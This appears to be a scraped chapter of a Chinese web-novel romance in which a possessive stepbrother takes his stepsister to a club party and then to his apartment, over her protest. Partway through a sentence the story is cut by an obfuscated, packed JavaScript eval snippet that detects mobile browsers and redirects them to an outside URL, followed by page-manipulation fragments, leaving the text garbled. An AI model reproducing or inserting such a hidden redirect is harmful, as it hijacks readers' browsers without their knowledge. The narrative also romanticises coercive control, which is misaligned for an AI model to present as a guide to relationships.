说完,瞿莉看向迟颂,眼神殷切:“阿颂,茴茴没谈过恋爱,也没什么异性朋友。这次聚会,你帮忙把把关。” 没有人知道,桌子底下,迟颂用力握紧项茴的手,他面无表情,手背却青筋凸起。 迟颂连冷笑都笑不出来,沉默片刻,说:“知道了,我一定给妹妹挑个最好的。” 12. 012 项茴不是长袖善舞的性格,从小到大社交圈窄,朋友固定就那么几个。她没参加过类似的聚会,但想也知道,一帮从小认识的公子哥大小姐聚在一块,她一个外人很难融入。 但迟启文发话,还是打着为她好的名义,项茴拒绝就是不识好歹了。 聚会的事定下来,饭后,瞿莉来到项茴房间,说要帮她选衣服。 长裙,短裙,高跟鞋……挑挑拣拣瞿莉都不满意,埋怨女儿平时都干嘛去了,也不知道收拾打扮自己。 项茴兴致不高,声音也闷闷的,“哥哥不是说了么,就是简单的朋友聚会,穿着不用太隆重。” “那也不能太简单,你是我女儿,在外头别给我丢人。”瞿莉想到什么,嘱咐说:“如果见到姜小姐,一定和她好好相处。” 项茴顿了顿,“她是我未来的嫂子?” “大概吧。” 圈子里就这么些人,哪家孩子多大是否婚配,消息都是流通的。瞿莉知道,这段时间迟启文一直在为儿子挑选联姻对象,最后看中了姜小姐。 但她没想到,迟启文竟然连项茴也考虑到了。 瞿莉很欣慰,以过来人的口吻劝说:“我像你这么大的时候可没这个福气,根本没机会认识条件好的异性。感谢我,也感谢你迟叔叔吧,聚会上多看看,遇上好的就主动出击。谈个有钱的男朋友,最好毕业就结婚,好好在家相夫教子,你后半生稳了。” 项茴知道,瞿莉是想给她找个保障。 毕竟在瞿莉眼里,她能力普通,学历普通,这辈子就这样了,最好的出路就是找个有钱人嫁了。 可老话都说了,靠山山倒,靠人人跑,可见靠来靠去,还是自己最可靠。把后半生托付给一个男人,那和赌、博有什么区别。 项茴不敢苟同,也没争论,敷衍几句,送走了瞿莉。 到了周六晚上,她没穿瞿莉为自己准备的衣服,因为那套裙子实在太浮夸了,像要去参加选美似的。 夜晚闷热,一丝风也没有。 项茴穿一件白色衬衫,下半身搭配短裤,头发扎成高马尾,清爽又落落大方。 她出去的时候,迟颂正靠在一辆白色迈凯伦上,抬眸看过来的瞬间,眉心微皱。 项茴皮肤白,身材也好。她的腿不是那种干瘦型,恰到好处的微肉感,露在外面非常抓人眼球。 迟颂觉得,下次,或许可以试试她的腿。 他心情不算好,眼神自上而下扫过项茴,意味不明道:“真打算去相亲?” 项茴:“去见见未来的嫂子。” 迟颂冷笑一声,打开车门,邀请她,“上车,走了。” 这是项茴第一次坐迟颂的车,很意外,他竟开的非常稳当。一路上两人都没说话,半小时后,车停在一座偌大的庄园前。 这是一家私人俱乐部,会员制保密性非常高。有高尔夫球场,雪茄沙龙,私人影院等设施。 下车后,迟颂把车钥匙丢给工作人员泊车,直接带她去五楼的酒吧。 电梯门口,正好遇见一个女生。 对方穿一件无袖花苞短裙,长发柔顺黑亮,看见他们招了招手,“嗨,迟颂,还记得我吗?” 迟颂明显不记得了,“你是?” “姜舒琳啊,你的小学同学。”女生提示他,“我们一年级到四年级同班,后来我就出国了,不过两年前我们在酒会上见过,当时距离太远,就没和你打招呼。” 这时电梯门打开,迟颂没太大反应,“上去吧。” “还好在一楼遇见你,我和言斯昱他们不熟,等会你给我介绍一下。” 迟颂:“你和我就熟了?” “迟叔叔说,是你邀请我来的,那我今天就归你管了。”姜舒琳理所当然的语气,目光看向项茴,“这位小姐是谁?” 项茴笑笑,“你好,我叫项茴。” 不等她介绍和迟颂的关系,姜舒琳就笑了,“我知道,你是迟颂的妹妹,迟叔叔说过你也会来,没想到你真人长那么漂亮。” 项茴真心夸赞:“你也很漂亮。” 说话间,五楼到了。 今天是言斯昱和杭佳璐组的局,庆祝两人复合,拉双方的朋友过来热闹热闹。 酒吧很宽敞,他们三个才到,几个人就围了上来。 其中一个男生开玩笑:“迟少爷平时不近女色,没想到今天竟然带女伴过来,还一次带两个,艳福不浅哦。” 迟颂白对方一眼,介绍说:“这是姜舒琳。” “这是项茴,我妹妹。”末了,他补充一句:“没血缘的妹妹。” 迟家的事众人多多少少听过,一下就明白两人的关系了,简单和项茴打过招呼,和姜舒琳聊起来。 姜舒琳应对这种场合轻松自如,大家父辈或多或少有交集,生意场上又有合作,很快就熟悉了。 这时,一个个子高挑的女生走近,自然而然揽过项茴的肩膀,她说:“项茴妹妹,想尝尝我调的鸡尾酒吗?” “你是?” “杭佳璐,我也在京大,和迟颂是同学。” 原来她就是今晚的主角之一。 项茴正好不想呆在迟颂身边,跟电灯泡似的,于是点点头,“可以啊。” 杭佳璐拉上她要走,迟颂出声:“等等。” “怎么,怕我把你妹拐跑了?”杭佳璐呵呵两声,“之前没看出来,迟颂,原来你是个妹控?” 迟颂目光紧盯杭佳璐的胳膊,两秒后,说:“别欺负项茴,她酒量不好。” “行行行,管的真多。” 项茴很喜欢杭佳璐,她身上有种自信却不自傲的气质,高高瘦瘦,穿吊带和超短裙,脚上一双铆钉长靴,看上去就是非常有想法的女生。 杭佳璐是真的会调酒,她像童话故事里的女巫,什么都往杯子里加一点,炼制好后,递来一杯绿色的液体,说:“尝尝。” “这杯叫什么名字?” “绿野仙踪。” 项茴很少喝酒,但酒量不至于一杯倒,她小品一口,说:“有朗姆酒和蓝橙酒,好像还有青柠汁。” “哟,懂行。” 杭佳璐给自己也调了一杯酒,边喝边闲聊,“斯昱跟我说你和迟颂关系一般,在外面见到都不打招呼的,没想到他今天竟然肯带你过来。” 项茴扭头望向沙发那边,迟颂在看手机,姜舒琳正扭头和他说话,两人距离不远不近,看上去真是登对。 她笑笑,“迟叔叔让他带我出来,多认识几个朋友。” 杭佳璐一猜一个准,“是想让迟颂给你介绍对象吧?” “呃——确实有这个意思。” “那你找我啊。”杭佳璐一下来了兴致,“我认识不少帅哥呢,要不我把他们的联系方式推荐给你?” 项茴:“算了,我现在更想搞钱,没时间。” “搞钱和搞男人又不冲突。我告诉你,一口气聊十个男生,同时和他们表白,保证你一周之内就能脱单,非常节约时间。” 项茴:“那如果这十个男生都答应了我的告白呢?” 杭佳璐耸耸肩:“成年人不做选择,一起谈咯。” 话音刚落,言斯昱不知从哪儿冒出来,打了一下杭佳璐的脑壳,“你别教坏项茴妹妹。” 杭佳璐不服气,“我只是传授经验,哪儿教坏她了。” “大小姐,你当初就是这么对我的。” 项茴感觉自己吃到了大瓜,“所以,你是佳璐姐十个男友中的一个?” 言斯昱挑眉:“我打败其他九个人,上位了。” - 迟颂靠在沙发里,用手机回复近期邮件,酒吧光线昏黄朦胧,仿佛给他铺上一层滤镜,好看得如梦如幻。 “迟颂——”身侧,姜舒琳唤他,“你在听我说话吗?” 迟颂不答,手指敲下一串英文。 频频遭受忽视的姜舒琳沉下脸,大小姐脾气濒临爆发的边缘。 她其实知道,自己有点上赶着。 那天迟叔叔打电话让她和迟颂一起参加聚会,姜舒琳原本还挺高兴,但今天见到迟颂那一秒,从对方冷淡的神情中她就知道了,迟颂压根不乐意。上次自己过生日,迟颂也没露面。 种种迹象表明,迟颂对她没兴趣。 姜舒琳一直很受异性欢迎,在迟颂这里遭到冷遇自然不开心,她本想发火,想到两家的关系又忍住了,直截了当道:“迟颂,我问你个问题。” “你喜欢什么类型的女孩儿?” 迟颂瞥她一眼,淡淡:“不会说话的。” “……” 什么意思?嫌她太吵了? 姜舒琳自尊心过不去,直接拎上包包走了。 终于清净了,迟颂揉揉耳朵,目光锁定吧台,起身去找项茴。 这会刚好来了新朋友,言斯昱和杭佳璐去打招呼了,吧台只有项茴一个人。迟颂坐下,对酒保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588678|205258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“一杯威士忌。” 项茴正在喝第二杯绿野仙踪,抿一小口环顾四周,问他:“姜小姐呢?” “不知道。” 迟颂盯着她水光潋滟的唇,喉咙焦渴,喝一口威士忌,更渴了。 项茴太熟悉他这种眼神了,提醒说:“你别乱来。” “怎么算乱来?” “你……你自己清楚。” 迟颂缓缓摇晃酒杯,一颗心也被勾得沉沉浮浮,他说:“楼上有我的套房,去补课吗?” “……” 这个变态。 项茴用力摇头,“不去,我们今天来这里是有任务的。迟叔叔让你给我介绍对象,你忘记了吗?” 迟颂冷哼一声,没说话。 “那边那个穿黑衬衫的男生怎么样?”项茴指了指,“个子高,长相清秀,走,带我过去认识一下。” 迟颂:“那人智商不行,数学二十分都考不到,你确定你们合适?” 数学比她还差,当然不行。 项茴果断放弃,马上又有了新的目标,“那个戴鸭舌帽的,看起来斯斯文文像个学霸,他数学应该不差吧?” “智商还可以,但他有五个女朋友,你要当第六个吗?” 花心大萝卜也不行。 项茴再次搜寻,“那个玩单机游戏的,看起来挺好……” 话没说完,迟颂便嗤道:“好个屁。” 这个不行,那个也不行,项茴说:“那你给我介绍吧,不是说要帮我挑个最好的?你说说看,这里的男生谁最好?” 沉默几秒,迟颂攥住她的手腕,力道渐渐收紧,“茴茴,最好的已经在你面前了。” “……” 原来在这儿等着她呢。 项茴忍俊不禁,“迟颂,你好自恋。” 迟颂声音懒懒的,“我实事求是。” 好吧,项茴承认,在场的所有人中,迟颂确实是最出色的。 论容貌,迟颂一骑绝尘,论家庭条件,他应该也是最好的,因为迟颂进来后,好多人热络地贴上来,明显想和他攀关系。 但这又怎么样呢,迟颂是她的哥哥。 项茴想了想,说:“可是,我不喜欢最好的。” “不。”迟颂语气肯定,看向她的目光志在必得,“茴茴,你会喜欢的。” “我不会喜欢你,我发誓。” “你会喜欢我,爱上我,一辈子离不开我,我也发誓。” “迟颂,你真是个神经病。” “那你就是神经病的老婆,开心吗?” 两人对峙着,谁也不肯认输。 争执间,迟颂的手机响了,是他的私人助理打来电话。无奈,迟颂只得暂停这场幼稚的争吵,握着手机去静音区接电话。 他一走,项茴只觉得自己头脑发热,不知道是酒意上头,还是被迟颂气的。 项茴决定去洗手间洗把脸,她起身,没注意到身后有个男人。两人猝不及防相撞,男人手中的酒杯没拿稳,顷刻间,棕色液体泼在项茴身上。 “啊——” 酒和冰块双管齐下,项茴感觉肩膀一凉,忍不住打了个冷颤。 男人也被突如其来的变故吓到了,待回神急忙道歉,“对不起,我不是故意的。” 白色衬衫湿了比较透,项茴的内衣形状若隐若现,见状,男人绅士地脱下外套披在她肩上,“实在对不起,我——” 然而,他的外套落在项茴肩上不到半分钟,就被一只手暴力地扯下来,狠狠摔在地上。 紧接着,一件裹挟木质冷香的黑色外套取而代之,将项茴紧紧包住。 迟颂讨厌项茴身上有别人的气息。 仿佛她是他标记的猎物,她的一切,只能是他的,其他人休想沾染,觊觎也不行。 迟颂眼神如刀,剜那个男人一眼,皮鞋重重踩过男人的外套,他拉上项茴,头也不回地往外走。 因为喝了酒,迟颂没开那辆迈凯伦,由俱乐部安排车送他们回去。 两人坐在后座,车子启动,迟颂报了一个地址:“西山枫庭。” 西山枫庭,迟颂的私人公寓。 项茴反抗,“我们说好的,只有周日去那里。” 迟颂弯唇,给她看手腕上的表,“已经过十二点了,现在就是周日。” 他眼神幽幽,仿佛一头野兽,进食前闪着兴奋的光芒,无声告诉项茴:他今晚绝不会放过她。